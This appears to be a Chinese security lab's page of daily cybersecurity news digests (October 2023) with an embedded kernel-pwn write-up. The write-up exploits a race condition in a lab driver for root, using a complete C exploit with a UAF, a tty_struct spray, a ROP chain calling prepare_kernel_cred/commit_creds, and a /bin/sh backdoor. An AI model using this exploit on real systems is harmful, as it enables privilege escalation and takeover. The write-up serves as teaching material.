网络安全日报 2023年10月26日
1、SpyNote木马冒充系统更新欺骗Android用户
https://blog.f-secure.com/take-a-note-of-spynote/ SpyNote是一种针对Android设备的恶意软件,它可以通过SMS钓鱼(或称为smishing)发送带有恶意链接的短信,诱导用户下载一个.apk文件,从而感染设备。SpyNote可以利用高级权限来记录音频和电话通话,记录用户在设备上的每一次点击,窃取用户名和密码,以及追踪用户的位置。SpyNote还可以隐藏自己的图标,阻止用户卸载它。据报道,SpyNote已经冒充了多个正常的应用程序,如Netflix、WhatsApp、Facebook等。最近,有安全研究人员发现了一个新的SpyNote变
2、前NSA雇员承认向俄罗斯间谍出售机密信息
https://www.justice.gov/opa/pr/former-nsa-employee-pleads-guilty-attempted-espionage Jareh Sebastian Dalke,31岁,来自科罗拉多州斯普林斯,是美国国家安全局(NSA)的一名信息系统安全设计师。他于2022年6月6日至7月1日在NSA工作期间,获得了多份涉及国防机密(NDI)的文件,其中有些文件被列为最高机密//敏感隔离信息(SCI)。Dalke承认,他在2022年8月至9月期间,为了证明自己有合法的访问权限和分享意愿,他使用了一个加密的电子邮件账户,向一个他认为是俄罗斯间谍的人发送了三份
3、法国篮球队ASVEL遭勒索软件攻击后数据泄露
https://ldlcasvel.com/communique-officiel-club-7/ 法国职业篮球队LDLC ASVEL(ASVEL)已经证实,在NoEscape勒索软件团伙宣称对该俱乐部发动攻击后,数据被窃取。ASVEL是一支位于维勒班纳、里昂的法国职业篮球队,由前NBA明星托尼·帕克领导。NoEscape勒索软件团伙于2023年9月29日在其暗网门户网站上发布了一张ASVEL的数据泄露页面,声称已经窃取了该俱乐部的财务、合同、员工和客户数据。该团伙还威胁说,如果不支付赎金,就会公开更多数据。截至目前,ASVEL表示没有证据表明攻击者窃取了球迷的支付数据或银行账户信息。该事件
4、多伦多 Pwn2Own 大赛首日战报!三星 Galaxy S23 被黑两次
https://www.freebuf.com/news/381712.html 加拿大多伦多举行的 Pwn2Own 2023 黑客大赛的第一天,网络安全研究人员就成功两次攻破三星 Galaxy S23。大会现场,研究人员还“演示"了针对小米 13 Pro 智能手机、打印机、智能扬声器、网络附加存储 (NAS) 设备以及 Western Digital、QNAP、Synology、Canon、Lexmark 和 Sonos 的监控摄像头等设备零日漏洞利用和漏洞链。
5、新英格兰生物实验室泄露敏感数据
https://cybernews.com/security/new-england-biolabs-leak-sensitive-data/ 新英格兰生物实验室(NEB)是一家生产和供应重组和天然酶试剂的公司,主要服务于生命科学研究领域。该公司在2023年9月18日被发现在公开的网络上暴露了两个环境文件(.env),其中包含了许多敏感信息,如数据库凭证、SMTP服务器登录信息、企业支付处理信息等。这些文件都是用于生产环境的,意味着它们可能在实时场景中用于处理该公司加拿大分部的业务。如果网络犯罪分子先发现了这些文件,他们就能够以该组织的名义发送电子邮件、访问和利用敏感数据,甚至尝试授权支付。
6、Apple 发布主要 iOS、macOS 安全更新,修补了数十个严重漏洞
https://www.securityweek.com/apple-ships-major-ios-macos-security-updates/ 苹果修补了 macOS 和 iOS 平台中的数十个严重安全漏洞,警告黑客可能会发起代码执行漏洞。该公司发布了多个公告,记录了至少21 个 iOS 安全漏洞和44 个 macOS 漏洞,这些漏洞可能导致代码执行、权限升级和敏感数据泄露。
7、Firefox、Chrome 更新补丁修复高危漏洞
https://www.securityweek.com/firefox-chrome-updates-patch-high-severity-vulnerabilities/ Mozilla 和 Google 本周宣布了 Firefox 和 Chrome 的软件更新,解决了多个高严重性漏洞,包括内存安全漏洞。周二,Mozilla 发布了 Firefox 119,修补了 11 个漏洞,其中包括 3 个高严重性问题。周二,谷歌宣布了Chrome 的软件更新,解决了两个漏洞,其中包括外部研究人员报告的一个高严重性问题。
8、CITRIX 警告管理员立即修补 NETSCALER CVE-2023-4966漏洞
https://securityaffairs.com/153016/security/citrix-warns-patch-cve-2023-4966.html Citrix 警告称,攻击活动会主动利用 NetScaler ADC 和 Gateway 设备中的漏洞 CVE-2023-4966。Citrix 敦促管理员保护所有 NetScaler ADC 和网关设备免受CVE-2023-4966漏洞的影响,该漏洞在攻击中被积极利用。
9、Winter Vivern 利用 Roundcube Webmail 服务器中的零日漏洞
https://www.welivesecurity.com/en/eset-research/winter-vivern-exploits-zero-day-vulnerability-roundcube-webmail-servers/ 该漏洞编号为 CVE-2023-5631,允许攻击者通过特制电子邮件在 Roundcube 用户的浏览器窗口上下文中执行任意 JavaScript 代码。
10、VMware 发布针对关键 vCenter Server RCE 漏洞的补丁
https://thehackernews.com/2023/10/act-now-vmware-releases-patch-for.html VMware 发布了安全更新,以解决其 vCenter Server 软件中的一个严重漏洞。该漏洞被称为 CVE-2023-34048,允许远程执行代码,并且严重程度非常严重(CVSS 评分:9.8)。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年10月25日
1、1Password在Okta支持系统遭黑客攻击后发现异常行为
https://blog.1password.com/files/okta-incident/okta-incident-report.pdf 1Password是一款流行的密码管理解决方案,它在9月29日Okta支持系统被入侵后检测到其Okta实例上的可疑活动,但重申没有用户数据被访问。1Password首席技术官在周一的通知中说:“我们立即终止了这些活动,进行了调查,并发现没有用户数据或其他敏感系统被泄露,无论是面向员工的还是面向用户的。”据报道,这次入侵是利用一个被盗的凭证来实现的,该凭证是在IT团队的一名成员与Okta支持共享了一个HAR文件后获得的,威胁行为者执行了以下一系列操作:
2、密歇根大学遭黑客窃取员工和学生数据
https://publicaffairs.vpcomm.umich.edu/key-issues/august-2023-data-incident/ 2023年8月,密歇根大学的网络系统遭到了黑客的入侵,导致包括学生、申请者、校友、捐赠者、员工、病人和研究参与者在内的多个群体的个人、财务和医疗信息被泄露。黑客对服务器的非法访问持续了从8月23日到27日的四天时间,大学方面在一周后发现并披露了这一事件,并强制所有账户重置密码。大学还关闭了所有系统和在线服务,以防止进一步的损失。目前,大学正在与联邦调查局(FBI)合作,调查此次网络攻击的来源和影响,并为可能受到影响的个人提供免费的信用监控服
3、华盛顿选举委员会疑似泄露选民个人信息
https://www.bleepingcomputer.com/news/security/dc-board-of-elections-hackers-may-have-breached-entire-voter-roll/ 10月5日,华盛顿特区选举委员会(DCBOE)发现其网站服务器遭到了一名自称RansomVC的黑客的攻击,该黑客声称窃取了60万条美国选民数据,其中包括特区选民记录。DCBOE随即启动了紧急应急计划,并与联邦调查局(FBI)和国土安全部(DHS)合作展开调查。10月22日,DCBOE在推特上发布了最新的消息,称其网站服务器的托管商DataNet Systems公司无法
4、Quasar RAT利用DLL侧载技术攻击Windows系统
https://www.uptycs.com/blog/quasar-rat Quasar RAT是一种开源的远程管理工具(RAT),也被称为CinaRAT或Yggdrasil,是用C#编写的。这种工具可以执行各种恶意功能,如收集系统数据,运行应用程序,传输文件,记录键盘输入,截取屏幕或摄像头画面,恢复系统密码,以及监控文件管理器,启动管理器,远程桌面等操作。Quasar RAT利用了一种称为DLL侧载的技术,它涉及利用受信任的Microsoft文件,包括“ctfmon.exe”和“calc.exe”,来实现其目标。这种技术利用了这些文件在Windows环境中的固有信任。Quasar RAT
5、卡巴斯基揭秘“三角测量行动”iOS 零点击攻击中使用的隐秘技术
https://securelist.com/triangulation-validators-modules/110847/ 周一,卡巴斯基发布了一份新报告,详细介绍了三角测量行动背后的威胁行为者所采用的各种隐形技术,以及攻击中使用的一些组件。
6、针对 VMWARE ARIA OPERATIONS FOR LOGS 漏洞的POC已发布
https://securityaffairs.com/152977/hacking/vmware-aria-operations-for-logs-flaw-poc.html VMware 警告客户,VMware Aria Operations for Logs(以前称为 vRealize Log Insight)中存在身份验证绕过漏洞的概念验证 (PoC) 漏洞利用代码已发布,请立即修补。该漏洞的编号为 CVE-2023-34051 。
7、印度居民的数亿条 PII 记录(包括 Aadhaar 卡)正在暗网上出售
https://securityaffairs.com/152957/security/pii-indian-citizens-dark-web.html 10 月初,Resecurity 的 HUNTER (HUMINT) 部门发现了数亿条属于印度居民的个人身份信息 (PII) 记录,其中包括在暗网上出售的 Aadhaar 卡。据 UIDAI 网站称, Aadhaar是一个独特的 12 位个人识别码,“由印度唯一身份识别机构代表印度政府颁发” 。
8、以色列正在新兴的“深度伪造”网络战线上与哈马斯作战
https://www.secrss.com/articles/59848 随着以色列与哈马斯冲突加剧,网络空间将再次成为实时决策和舆论的关键战场,深度造假技术也带来了新的威胁。自以色列和哈马斯冲突爆发以来,由人工智能生成的关于冲突的虚假视频充斥着世界各地的媒体。
9、巴基斯坦和阿富汗被 DoNot Team 黑客组织“盯上了”
https://www.freebuf.com/news/381613.html 网络安全公司卡巴斯基在其 2023 年第三季度 APT 趋势报告中透露,一个名为 DoNot Team 的黑客组织与使用名为 Firebird 的新型基于 .NET 的后门,针对巴基斯坦和阿富汗发起了网络攻击。
10、乌克兰国家安全部门参与对俄罗斯最大私人银行的黑客攻击
https://therecord.media/sbu-involved-in-alfa-bank-hack 乌克兰黑客与该国安全部门 SBU 合作,入侵了俄罗斯最大的私人银行,该部门的一位消息人士向 Recorded Future News 证实。据报道,上周,两个亲乌克兰黑客组织 KibOrg 和 NLB 侵入了 Alfa-Bank,并声称获得了超过 3000 万客户的数据,包括他们的姓名、出生日期、账号和电话号码。他们的官方网站上有一个帖子。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年10月24日
1、Pure Clipper恶意软件针对意大利用户发起攻击
https://cyble.com/blog/fileless-pure-clipper-malware-italian-users-in-the-crosshairs/ 近日,研究人员发现了一个由威胁行为者(TA)通过一个伪造的Tor项目网站进行的操作。该TA在这个操作中传播了Pure Clipper恶意软件。Clipper是一种用于窃取或操纵与加密货币相关的数据的恶意软件,特别是加密货币钱包地址。Clipper恶意软件通常通过监视用户的剪贴板来操作,剪贴板是临时存储复制信息的地方。当它检测到复制了一个加密货币钱包地址(例如,比特币或以太坊地址)时,它会用攻击者控制的地址替换该地址。因此,
2、以色列-巴勒斯坦冲突引发网络攻击风暴
https://cyble.com/blog/israel-palestine-conflict-and-looming-threat-on-critical-infra/ 2023年10月,以色列和巴勒斯坦之间的紧张局势再次升级,引发了一场全面的武装冲突。这两个国家自20世纪初以来就一直存在争端,自2008年以来发生了多次激烈的冲突。这场战争也引起了来自黑客活动分子和威胁行为者(TAs)的大量报复性攻击,这与2012年以来观察到的趋势相符。此外,网络攻击通常是现代战争中的辅助手段,这一趋势在2022年俄罗斯-乌克兰冲突爆发之前就已经出现。研究人员一直在收集特定的情报,以在黑客活动分子和不同
3、TetrisPhantom黑客利用安全U盘窃取政府系统数据
https://securelist.com/apt-trends-report-q3-2023/110752/ 一种新的复杂威胁,被追踪为“TetrisPhantom”,一直在利用被感染的安全U盘,针对亚太地区的政府系统进行攻击。安全U盘在设备的加密部分存储文件,用于在系统之间安全地传输数据,包括那些在隔离环境中的系统。通过自定义软件,可以根据用户提供的密码解密U盘中的内容。这种软件之一是UTetris.exe,它被捆绑在U盘的未加密部分。安全研究人员发现了UTetris应用程序的恶意版本,它们被部署在安全U盘上,作为一场攻击活动的一部分,该活动已经持续了至少几年,并且针对亚太地区的政府机
4、Chrome将推出新的“IP保护”功能,隐藏用户的IP地址
https://www.bleepingcomputer.com/news/google/google-chromes-new-ip-protection-will-hide-users-ip-addresses/ Chrome是一款流行的网络浏览器,它提供了许多功能和选项,以提高用户的网络体验和安全性。最近,谷歌正在准备测试一种新的“IP保护”功能,该功能可以通过使用代理服务器来掩盖用户的IP地址,从而增强用户的隐私。IP地址是一个唯一的数字标识符,它可以显示用户的网络位置和设备信息。一些网站和服务可能会收集和追踪用户的IP地址,以进行广告定向、分析或审查等目的。因此,隐藏或更改IP地址可
5、Deepfake!黑客冒充非洲联盟主席与多位欧洲领导人通话
https://cybernews.com/security/deepfake-african-union-chief-fari/ 该报道称,黑客在通话过程中使用了深度伪造的视频篡改技术来冒充主席。同时,非洲联盟(AU)在一份声明中说,有人使用伪造的电子邮件地址要求与外国领导人通话。
6、SolarWinds 修复了 Access Rights Manager 中的严重漏洞
https://www.securityweek.com/solarwinds-patches-high-severity-flaws-in-access-rights-manager/ 企业软件供应商 SolarWinds 已针对其访问权限管理器 (ARM) 中的八个高严重性漏洞发布了补丁,其中包括三个无需身份验证即可利用的远程代码执行问题。
7、思科警告第二个 IOS XE 零日漏洞被用于感染全球设备
https://securityaffairs.com/152924/hacking/cisco-ios-xe-zero-day-cve-2023-20273.html 思科发现了第二个 IOS XE 零日漏洞,编号为 CVE-2023-20273,该漏洞在野外攻击中被积极利用。
8、Ragnar Locker 勒索软件组织的主要成员在欧洲被捕
https://www.europol.europa.eu/media-press/newsroom/news/ragnar-locker-ransomware-gang-taken-down-international-police-swoop 在欧洲刑警组织等机构的协调下,欧洲多国对 Ragnar Locker 勒索软件组织的主要成员展开了突击行动。该组织的关键成员于 10 月 16 日在法国巴黎被捕,其在捷克的家遭到搜查。另外五名嫌疑人分别在西班牙和拉脱维亚接受询问。Ragnar Locker 的基础设施在荷兰、德国和瑞典查封,暗网上的数据泄露网站在瑞典被关闭。Ragnar Locke
9、BlackCat再升级!可用全新Munchkin工具进行隐形攻击
https://www.bleepingcomputer.com/news/security/blackcat-ransomware-uses-new-munchkin-linux-vm-in-stealthy-attacks/ BlackCat/ALPHV 勒索软件最近开始使用一种名为 "Munchkin "的新工具,该工具可利用虚拟机在网络设备上隐秘地部署加密程序。
10、复杂的MATA框架打击东欧石油和天然气公司
https://thehackernews.com/2023/10/sophisticated-mata-framework-strikes.html 卡巴斯基在本周发布的一份新的详尽报告中表示:攻击背后的行为者使用鱼叉式网络钓鱼邮件针对几名受害者,其中一些人通过互联网浏览器下载文件感染了Windows可执行恶意软件。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
通过条件竞争实现内核提权
条件竞争漏洞(Race Condition Vulnerability)是一种在多线程或多进程并发执行时可能导致不正确行为或数据损坏的安全问题。这种漏洞通常发生在多个线程或进程试图访问和修改共享资源(如内存、文件、网络连接等)时,由于执行顺序不确定或没有适当的同步措施,导致竞争条件的发生并且条件竞争在内核中也经常出现。
LK01-4
这里以一道例题作为例子介绍条件竞争在内核中的利用。
open模块
题目链接:https://github.com/h0pe-ay/Kernel-Pwn/tree/master/LK01-4/LK01-4
open模块相较于LK01-3增加了锁的判断,当执行过open模块之后,mutex会被设置为1,这样可以避免第二次执行open模块时,有两个文件描述符指向同一块内存。
static int module_open(struct inode *inode, struct file *file)
{
printk(KERN_INFO "module_open called\n");
if (mutex) {
printk(KERN_INFO "resource is busy");
return -EBUSY;
}
mutex = 1;
g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL);
if (!g_buf) {
printk(KERN_INFO "kmalloc failed");
return -ENOMEM;
}
return 0;
}
例如以下代码,连续执行两遍open模块时,第二次执行会返回-1。
#include <stdio.h>
#include <fcntl.h>
int main()
{
int fd1 = open("/dev/holstein",O_RDWR);
printf("fd1:%d\n",fd1);
int fd2 = open("/dev/holstein",O_RDWR);
printf("fd2:%d\n",fd2);
}
单线程下执行的流程如下。
但是上述情况会在多线程的情况下出现潜在的问题。由于线程1与线程2会切换执行,那么就有可能会出现以下情况,在线程1执行open模块时,在处于判断mutex = 1这个赋值操作之前,而在mutext == 1这个判断语句之后切换到线程2,那么线程2在执行mutext == 1时,线程1还没有完成赋值操作,因此线程2会认为是第一次执行open模块,从而获得指向g_buf的文件描述符,而在线程2切回到线程1时,由于此时线程1已经指向完判断语句了,因此也会成功获取指向g_buf的文件描述符,因此会构成存在两个指针指向同一块区域的情况,从而造成后续的UAF漏洞的利用。
POC
为了验证上述的可能性,我们需要创建两个线程并且两个线程需要不断的调用open模块。我们需要注意以下几点。
首先是POC使用了3与4作为新打开的文件描述符,这是因为0,1,2是标准流,因此新打开的文件应该是从3开始分配。但是避免不是从3开始分配,我们可以使用作者提供的exp,打开临时文件去判断下一个文件描述符是什么。
其次是在条件竞争利用失败的时候,我们需要关闭文件描述符,这是因为若不关闭,那么上述两个线程竞争的情况就不会发生了,因为已经通过open模块获取了文件描述符,那么mutext已经被设置为1,那么就不会存在mutext被设置为1之前的情况了。
然后在文件描述符为4的时候,说明已经通过条件竞争成功执行两次open模块,但是这里还需要去验证文件描述符是否有效,这是因为有可能出现线程1获取的文件描述符为3,而线程二获取的文件描述符为4,但是线程1先进入了if (fd != -1 && success == 0)的判断,那么就会把文件描述符3给关闭了,就导致即使正常执行了两次open模块,但是只有4能够使用。
最后就是验证3和4是否指向同一块内存了。
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <pthread.h>
#include <string.h>
int success = 0;
void *thread_function(void *arg) {
while(1)
{
while (!success)
{
int fd = open("/dev/holstein",O_RDWR);
if (fd == 4)
success = 1;
if (fd != -1 && success == 0)
close(fd);
}
if (write(3, "a", 1) != 1 || write(4, "a", 1) != 1)
{
close(3);
close(4);
success = 0;
}
else
break;
}
}
int main()
{
pthread_t thread_id1, thread_id2;
if (pthread_create(&thread_id1, NULL, thread_function, NULL) != 0)
{
fprintf(stderr, "thread error\n");
return 1;
}
if (pthread_create(&thread_id2, NULL, thread_function, NULL) != 0)
{
fprintf(stderr, "thread error\n");
return 1;
}
pthread_join(thread_id1, NULL);
pthread_join(thread_id2, NULL);
char temp[0x20]= {};
write(3, "abcdefg", 7);
read(4, temp, 7);
if (strcmp(temp, "abcdefg"))
{
puts("fail\n");
exit(-1);
}
printf("sucess\n");
}
run.sh
这里可以看到-smp的选项为2,"-smp" 表示 "Symmetric MultiProcessing",即对称多处理。在虚拟化环境中,这个参数用于设置虚拟机使用的虚拟处理器核心数量。在这种情况下,"-smp 2" 表示将虚拟机配置为使用 2 个虚拟处理器核心,使其能够同时运行两个线程或进程。因此题目给的环境意在使用多线程竞争进行提权。
#!/bin/sh
qemu-system-x86_64 \
-m 64M \
-nographic \
-kernel bzImage \
-append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on kaslr" \
-no-reboot \
-cpu qemu64,+smap,+smep \
-smp 2 \
-monitor /dev/null \
-initrd initramfs.cpio.gz \
-net nic,model=virtio \
-net user \
-s
exp
因此提权的过程则是首先使用条件竞争的漏洞使得open模块执行两次,使得两个文件描述符指向同一个内存区域,接着关闭一个文件描述符使得UAF漏洞,并且分配大小属于tty结构体的范围内,因此通过堆喷使得tty结构体被控制,紧接着篡改ops指针为栈迁移的gadget地址,配合ioctl函数控制rdx寄存,将栈迁移到g_buf上,然后就是通过prepare_kernel_cred -> commit_creds -> swapgs_restore_regs_and_return_to_usermode的序列完成提权操作。
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <pthread.h>
#include <string.h>
//0xffffffff81137da8: push rdx; add byte ptr [rbx + 0x41], bl; pop rsp; pop rbp; ret;
//0xffffffff810d5ba9: push rcx; or al, 0; add byte ptr [rax + 0xf], cl; mov edi, 0x8d480243; pop rsp; re
//0xffffffff810b13c5: pop rdi; ret;
//ffffffff81072580 T prepare_kernel_cred
//ffffffff810723e0 T commit_creds
//0xffffffff8165094b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret;
//0xffffffff81c6bfe0: pop rcx; ret;
//ffffffff81800e10 T swapgs_restore_regs_and_return_to_usermode
//0xffffffff810012b0: pop rcx; pop rdx; pop rsi; pop rdi; pop rbp; ret;
#define push_rdx_pop_rsp 0x137da8
#define pop_rdi_ret 0xb13c5
#define prepare_kernel_cred 0x72580
#define commit_creds 0x723e0
#define pop_rcx_ret 0xc6bfe0
#define mov_rdi_rax 0x65094b
#define swapgs_restore 0x800e10
#define pop_rcx_5 0x12b0
unsigned long user_cs, user_sp, user_ss, user_rflags;
void backdoor()
{
printf("****getshell****");
system("id");
system("/bin/sh");
}
void save_user_land()
{
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_sp, rsp;"
"mov user_ss, ss;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("[*] Saved userland registers");
printf("[#] cs: 0x%lx \n", user_cs);
printf("[#] ss: 0x%lx \n", user_ss);
printf("[#] rsp: 0x%lx \n", user_sp);
printf("[#] rflags: 0x%lx \n", user_rflags);
printf("[#] backdoor: 0x%lx \n\n", backdoor);
}
int success = 0;
void *thread_function(void *arg) {
while(1)
{
while (!success)
{
int fd = open("/dev/holstein",O_RDWR);
if (fd == 4)
success = 1;
if (fd != -1 && success == 0)
close(fd);
}
if (write(3, "a", 1) != 1 || write(4, "a", 1) != 1)
{
close(3);
close(4);
success = 0;
}
else
break;
}
}
int main()
{
pthread_t thread_id1, thread_id2;
int spray[200];
save_user_land();
if (pthread_create(&thread_id1, NULL, thread_function, NULL) != 0)
{
fprintf(stderr, "thread error\n");
return 1;
}
if (pthread_create(&thread_id2, NULL, thread_function, NULL) != 0)
{
fprintf(stderr, "thread error\n");
return 1;
}
pthread_join(thread_id1, NULL);
pthread_join(thread_id2, NULL);
char temp[0x20]= {};
write(3, "abcdefg", 7);
read(4, temp, 7);
printf("temp:%s\n", temp);
if (strcmp(temp, "abcdefg"))
{
puts("failure\n");
exit(-1);
}
if (!strcmp(temp,"abcdefg"))
{
printf("sucess\n");
close(4);
for (int i = 0; i < 50; i++)
{
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (spray[i] == -1)
{
printf("error!\n");
exit(-1);
}
}
char buf[0x400];
read(3, buf, 0x400);
unsigned long *p = (unsigned long *)&buf;
for (unsigned int i = 0; i < 0x80; i++)
printf("[%x]:addr:0x%lx\n",i,p[i]);
unsigned long kernel_address = p[3];
unsigned long heap_address = p[7];
if ((kernel_address >> 32) != 0xffffffff)
{
printf("leak error!\n");
exit(-1);
}
else
printf("leak sucess\n");
unsigned long kernel_base = kernel_address - 0xc3afe0;
unsigned long g_buf = heap_address - 0x38;
printf("kernel_base:0x%lx\ng_buf:0x%lx\n", kernel_base, g_buf);
//getchar();
*(unsigned long *)&buf[0x18] = g_buf;
p[0xc] = push_rdx_pop_rsp + kernel_base;
//for (unsigned long i = 0xd; i < 0x80; i++)
// p[i] = g_buf + i;
int index = 0x21;
p[index++] = pop_rdi_ret + kernel_base;
p[index++] = 0;
p[index++] = prepare_kernel_cred + kernel_base;
p[index++] = pop_rcx_5 + kernel_base;
p[index++] = 0;
p[index++] = 0;
p[index++] = 0;
p[index++] = 0;
p[index++] = 0;
p[index++] = mov_rdi_rax + kernel_base;
p[index++] = commit_creds + kernel_base;
p[index++] = swapgs_restore + kernel_base + 22;
p[index++] = 0;
p[index++] = 0;
p[index++] = (unsigned long)backdoor;
p[index++] = user_cs;
p[index++] = user_rflags;
p[index++] = user_sp;
p[index++] = user_ss;
write(3, buf, 0x400);
ioctl(4, 0, g_buf + 0x100);
}
return 0;
}
CPU Affinity(CPU 亲和性)
这里作者用了CPU Affinity提高了条件竞争的成功率,在如今多核的处理器下,我们可以将不同的线程绑定在不同的核上,使得线程进程不会进行来回切换的操作,提高执行效率。那么对应在这道题上,我们可以把线程1绑定在CPU 0上运行,线程2绑定在CPU 1上,那么使得线程1与线程2可以并行运行,那么触发漏洞的可能性会大大提升。
首先初始化CPU集合,然后将绑定到指定的核上,然后在线程内部通过sched_setaffinity 函数设置CPU 亲和性。
#define _GNU_SOURCE
#include <sched.h>
...
cpu_set_t t1_cpu, t2_cpu;
CPU_ZERO(&t1_cpu);
CPU_ZERO(&t2_cpu);
CPU_SET(0, &t1_cpu);
CPU_SET(1, &t2_cpu);
...
if (pthread_create(&thread_id1, NULL, thread_function, (void *)&t1_cpu) != 0)
{
fprintf(stderr, "thread error\n");
return 1;
}
if (pthread_create(&thread_id2, NULL, thread_function, (void *)&t2_cpu) != 0)
{
fprintf(stderr, "thread error\n");
return 1;
}
void *thread_function(void *arg) {
cpu_set_t *cpu_set = (cpu_set_t *)arg;
int result = sched_setaffinity(gettid(), sizeof(cpu_set_t), cpu_set);
...
}
网络安全日报 2023年10月23日
1、Complaint Stealer针对加密货币钱包和酒店业
https://cofense.com/blog/new-complaint-stealer-malware-escalates/ 近日,一系列传播新型恶意软件“Complaint Stealer”的网络钓鱼活动开始升级。这种恶意软件是一种信息窃取器,可以盗取用户的加密货币钱包和程序,以及浏览器中存储的凭据。Complaint Stealer还对显卡和其他与加密货币挖矿相关的信息表现出异常的兴趣,因此加密货币挖矿可能是其后续功能。Complaint Stealer还经常利用一些合法的软件,如AutoIT或PKWARE。目前发现的所有样本都使用相同的C2位置。这次活动使用了社会工程学技巧,类似
2、警方查封Ragnar Locker勒索软件的暗网勒索站点
https://www.bleepingcomputer.com/news/security/ragnar-locker-ransomwares-dark-web-extortion-sites-seized-by-police/ Ragnar Locker是一种针对Windows和Linux的勒索软件,它可以从受感染的机器中窃取信息,使用Salsa20加密算法加密文件,并要求受害者支付赎金以恢复数据。Ragnar Locker团伙以使用双重勒索的策略而闻名,即如果受害者拒绝支付赎金,他们的数据就会被公开到暗网上。据报道,一组国际执法机构已经查封了Ragnar Locker团伙使用的暗网门户
3、Crambus针对中东政府发起新一轮攻击
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/crambus-middle-east-government Crambus是一个伊朗的间谍组织,长期针对多个国家的目标进行情报收集和监视活动。最近,该组织在2023年2月至9月期间,对中东某国政府进行了为期八个月的入侵。在入侵过程中,攻击者窃取了文件和密码,并在一台计算机上安装了一个PowerShell后门(被称为PowerExchange),用于监视Exchange服务器上的收件箱,执行攻击者通过邮件发送的命令,并将结果偷偷转发给攻击者。研究人
4、恶意广告商使用Google广告来定位搜索流行软件的用户
https://www.malwarebytes.com/blog/threat-intelligence/2023/10/the-forgotten-malvertising-campaign 恶意广告活动是指利用合法的广告平台或网络来传播恶意软件或勒索软件的一种网络攻击方式。近几周,安全研究人员发现,通过谷歌搜索引擎的恶意广告活动有所增加,一些威胁行为者改进了他们的技术,以逃避整个交付链中的检测。研究人员介绍了一个似乎完全被忽视的恶意广告活动,它在用户指纹识别和分发时间敏感的有效载荷方面具有独特性。该活动针对Notepad++等流行的Windows文本编辑器或类似的软件程序,如PDF转换
5、思科IOS XE软件中的零日漏洞被利用,植入恶意Lua后门
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z 思科在周五发布了一份更新的通告,警告其IOS XE软件中存在一个新的零日漏洞,该漏洞已被一个未知的威胁行为者利用,向易受攻击的设备植入了一个恶意的Lua后门。该漏洞被追踪为CVE-2023-20273(CVSS评分:7.2),与Web UI功能中的一个提权漏洞有关,据说已与CVE-2023-20198一起作为一个利用链被使用。思科表示,攻击者首先利用CVE-202
6、Okta支持系统被盗用凭证入侵,部分客户数据泄露
https://sec.okta.com/harfiles Okta是一家提供身份服务的公司,拥有超过1.7万个客户和5亿个用户。在周五,Okta披露了一起新的安全事件,称一个未知的威胁行为者利用了一个被盗的凭证,访问了其支持案例管理系统。该系统用于处理客户的技术问题和请求。Okta的首席安全官David Bradbury表示,“威胁行为者能够查看某些Okta客户作为最近支持案例的一部分上传的文件”。他还强调,Okta支持案例管理系统与Okta生产服务是分开的,后者没有受到影响。但是,他也警告说,客户支持系统有时会用于上传HTTP归档(HAR)文件,以复制用户或管理员的错误,以便进行故障排除
7、BlackCat勒索软件使用新策略进行隐蔽攻击
https://unit42.paloaltonetworks.com/blackcat-ransomware-releases-new-utility-munchkin/ BlackCat(也称ALPHV)勒索软件团伙最近使用了一种新的名为“Munchkin”的Linux虚拟机,来加强其攻击的隐蔽性和持久性。Munchkin是一个定制的Alpine OS Linux发行版,以ISO文件的形式提供。在入侵设备后,威胁行为者安装VirtualBox,并使用Munchkin ISO文件创建一个新的虚拟机。然后,在虚拟机中执行恶意代码,对受害者的系统进行加密和破坏。BlackCat勒索软件最初于2
8、SolarWinds ARM产品存在三个严重远程代码执行漏洞
https://documentation.solarwinds.com/en/success_center/arm/content/release_notes/arm_2023-2-1_release_notes.htm SolarWinds是一家提供网络管理和监控软件的公司,其访问权限管理器(ARM)是一款用于审计和控制网络资源访问权限的解决方案。近日,该产品被发现存在三个严重的远程代码执行(RCE)漏洞,分别是CVE-2023-35182、CVE-2023-35185和CVE-2023-35187。这些漏洞都是由于产品在处理不可信数据时存在反序列化漏洞而导致的,攻击者可以利用这些漏洞在
9、卡西欧披露数据泄露影响了149个国家的客户
https://world.casio.com/information/1018-incident/ 卡西欧是一家日本电子产品制造商,其ClassPad是一款面向教育领域的平台,提供数学、科学和编程等功能。近日,该公司透露,其ClassPad的服务器遭到黑客入侵,导致来自149个国家/地区的客户的数据被泄露。卡西欧于10月11日检测到该事件,原因是开发环境中的ClassPad数据库发生故障。有证据表明,黑客在10月12日访问了客户信息,包括姓名、电子邮件地址、密码、电话号码、学校名称等。截至10月18日,黑客获得了日本客户的91921条记录,以及其它148个国家/地区客户的35049条记录。
10、最新报告:71%的AI检测器无法检测出ChatGPT撰写的钓鱼邮件
https://www.freebuf.com/articles/paper/380801.html 近日,邮件安全公司Egress发布的《2023年网络钓鱼威胁趋势报告》对迄今为止的流行网络钓鱼趋势进行了分析。
声明
